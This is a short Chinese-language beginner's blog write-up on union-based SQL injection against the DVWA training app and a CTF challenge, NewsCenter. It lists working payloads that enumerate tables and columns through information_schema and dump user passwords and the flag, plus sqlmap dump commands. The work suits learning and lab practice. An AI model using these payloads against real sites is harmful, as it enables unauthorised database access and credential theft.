sql注入入門[逃]

(dvwa low級 真的只是入門)之前某教程掃到的兩個網頁最近發現都打不開了嚶嚶嚶 那就用dvwa叭!
菜鳥記錄一下><補作業&&沉迷線代所以好久沒學

dvwa sql injection (low)

step1:檢測注入點
’ 報錯
and 1=1 正常
and 1=2 正常,但是無法查詢出數據
可以判斷大概率有注入點

step2:用order by 來找字段長度
order by 3
order by 2
…這樣

step3:查顯位

and 1=2 union select 1,2 (order by長度)

能顯示出來的數字就是顯位啦,把這個位置替換成各種語句就可以知道各種數據庫信息了

step4:查當前數據庫名字

3' and 1=2 union select 1,database()#

發現叫dvwa
step5:查表段名 表段都存放在information_schema 數據庫裏
group_concat() 可以找出所有

3'  and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()#

在這裏插入圖片描述

step5:查字段(列)名

3'  and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='users'#

在這裏插入圖片描述
step6:查內容

3' union select user, password from users#

在這裏插入圖片描述

eg:NewsCenter

看到框要想到xss或者sql注入
在這裏插入圖片描述
手工:注入點:1’ union select 1,2,3 # ;
當前數據名:1’ union select 1,database(),3# ;
表:1’ union select 1,table_name,3 from information_schema.tables where table_schema =‘news’ # ;
字段:1’ union select 1,column_name,3 from information_schema.columns where table_name =‘secret_table’ #;
值(就是flag):1’ union select 1,fl4g,3 from secret_table where id =‘1’ #

sqlmap:
python sqlmap.py -r 1.txt --dbs
在這裏插入圖片描述
python sqlmap.py -r 1.txt -D news --dump

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章